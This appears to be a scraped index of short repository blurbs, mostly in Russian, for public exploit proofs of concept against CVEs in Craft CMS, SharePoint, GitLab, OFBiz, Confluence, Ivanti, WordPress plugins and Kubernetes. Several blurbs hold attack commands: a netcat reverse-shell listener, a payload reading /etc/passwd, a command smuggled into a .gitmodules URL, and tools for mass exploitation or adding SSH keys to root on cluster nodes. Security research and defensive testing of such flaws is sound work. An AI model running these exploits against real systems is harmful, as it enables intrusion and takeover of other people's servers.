CVE-2026-44011-craft-rce-poc

CVE-2026-44011-craft-rce-poc CVE-2026-44011-craft-rce-poc Использование Одна команда: bash python3 craftrce.py -b http://target -u USER -p PASS -c 'id' Обратная оболочка bash, обёрнутый в base64: терминал 1 nc -lvnp 4444 терминал 2 python3 craftrce.py -b http://target -u USER -p PASS --revshell...

CVE-2026-44011-poc

CVE-2026-44011: PoC для аутентифицированного RCE в Craft CMS Этот скрипт на Python адаптирует атаку, описанную в рекомендации по безопасности Craft CMS. Аутентифицированный пользователь Craft может достичь уязвимого пути конфигурации макета поля и заставить сервер выполнить команды. Область...

CVE-2023-29357

Воссоздание PoC для SharePoint CVE-2023-29357 на C с большой помощью от ChatGPT. Собрано с .Net версии 4.7.2 в Visual Studio 2017 Используйте NuGet Package Manager для установки недостающих пакетов Правила YARA для обнаружения ниже Использование: CVE-2023-29357.exe https://yoursharepoint.lol -v...

CVE-2021-22205

CVE-2021-22205 Pocsuite3 для CVE-2021-22205, RCE без авторизации...

ofbiz-CVE-2023-49070-RCE-POC

ofbiz-CVE-2023-49070-RCE-POC Это POC для эксплуатации удалённого выполнения кода RCE без аутентификации для уязвимости CVE-2023-49070, которая затрагивает Apache ofbiz версии wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar POC для DNS POC для RCE Эти твиты мне...

CVE-2024-4883

CVE-2024-4883 PoC для CVE-2024-4883 — Progress WhatsUp Gold WriteDatafile: неаутентифицированное удаленное выполнение кода CVE-2024-4883 Технический анализ Анализ первопричины уязвимости можно найти в моем блоге: https://summoning.team/blog/progress-whatsup-gold-WriteDataFile-CVE-2024-4883-RCE/...

CVE-2025-34085-Multi-target

CVE-2025-34085 Многоцелевой сканер RCE Сканер массовой эксплуатации для CVE-2025-34085 — неаутентифицированная уязвимость удалённого выполнения кода в плагине WordPress Simple File List. Этот инструмент загружает PHP-пейлоад, замаскированный под изображение, переименовывает его через уязвимый...

PoC

PoC Репозиторий с PoC-эксплойтами и инструментами. BMCRSCDRCE Эксплойт для неаутентифицированного удалённого выполнения команд в агенте RSCD от BMC Server Automation. Эксплойт работает против серверов, затронутых CVE-2016-1542 обнаруживается с помощью Nessus. Теперь это модуль Metasploit, см...

CVE-2026-44011-craftcms-auth-rce

CVE-2026-44011 Craft CMS authenticated RCE PoC Только для авторизованного тестирования. В рекомендации Craft CMS указаны уязвимые версии =4.0.0, =5.0.0, ' -c '' Обязательные аргументы: -b, --base-url: URL Craft, включая http:// или https://. -u, --username: Имя пользователя панели управления. -p,...

CVE-2020-5902

🚨 CVE-2020-5902 — RCE sur TMUI F5 BIG-IP CVE-2020-5902 est une vulnérabilité critique d'exécution de code à distance RCE sans authentification dans l'interface utilisateur de gestion du trafic F5 BIG-IP TMUI / utilitaire de configuration. 📌 Aperçu Divulguée par F5 le 30 juin 2020 NVD publiée le 1...

CVE-2025-69460

CVE-2025-69460 – Простая галерея изображений 1.0 Удаленное выполнение кода RCE без аутентификации WriteUp CVE-2025-69460 – ExploitDB 50214...

laravel-CVE-2021-3129-EXP

laravel-CVE-2021-3129-EXP CVE-2021-3129 GetShell одним кликом Использование python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:8000 После успеха достаточно использовать 哥斯拉 для подключения...

CVE-2021-22205

CVE-2021-22205 Инструмент RCE для CVE-2021-22205 предназначен только для обмена и обсуждения. Не используйте его для несанкционированного тестирования, иначе автор не несёт ответственности. -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -...

phpunit-brute

phpunit-brute Outil pour essayer plusieurs chemins pour PHPunit RCE CVE-2017-9841 et il enregistrera les chemins trouvés dans found.txt dans le répertoire. Il utilise la liste de chemins suivante https://raw.githubusercontent.com/random-robbie/bruteforce-lists/master/phpunit.txt si vous avez un...

CVE-2024-8190-unauth

CVE-2024-8190 без аутентификации Описание Объединение CVE-2024-8963 и CVE-2024-8190 — PoC для неаутентифицированного RCE на Ivanti CSA версии 4.6 и ниже. CVE-2024-8963 Обход пути в Ivanti CSA до версии 4.6 Patch 519 позволяет удаленному неаутентифицированному атакующему получить доступ к...

kube-alien

Kube-alien This tool launches attack on k8s cluster from within. That means you already need to have an access with permission to deploy pods in a cluster to run it. After running the kube-alien pod it tries to takeover cluster's nodes by adding your public key to node's /root/.ssh/authorizedkeys...

ConfluentPwn

ConfluentPwn Сканер удалённого выполнения кода через внедрение ONGL без аутентификации в Confluence CVE-2022-26134. Использование На GIF ниже показано демонстрационное использование инструмента: Вот вывод справки инструмента: $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W...

CVE-2023-51385_test

CVE-2023-51385 검증 먼저 /.ssh/config에 다음 내용을 추가해야 합니다 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules 파일 구문에는 명령 주입이 존재합니다 url = ssh://echo helloworld cve.txtfoo.example.com/bar 구성 완료 후 아래 명령을 실행하여 트리거합니다 git clone...

CVE-2018-17179-OpenEMR

CVE-2018-17179-OpenEMR ⚠️ Avertissement Ce dépôt est destiné uniquement à des fins éducatives et de recherche. Les informations et le code fournis ici peuvent être utilisés dans des environnements contrôlés , tels que des machines de laboratoire privées. Toute utilisation non autorisée de ce code...

CVE-2019-9978

CVE-2019-9978 CVE-2019-9978 - PoC RCE в плагине Social WarFare system'cat /etc/passwd' Сохраните его с именем файла: payload.txt и загрузите его на сервер. URI должен выглядеть так: https://yoursite.com/payload.txt. Наконец, укажите ваши опции --target и --payload-uri: $ python cve-2019-9978.py...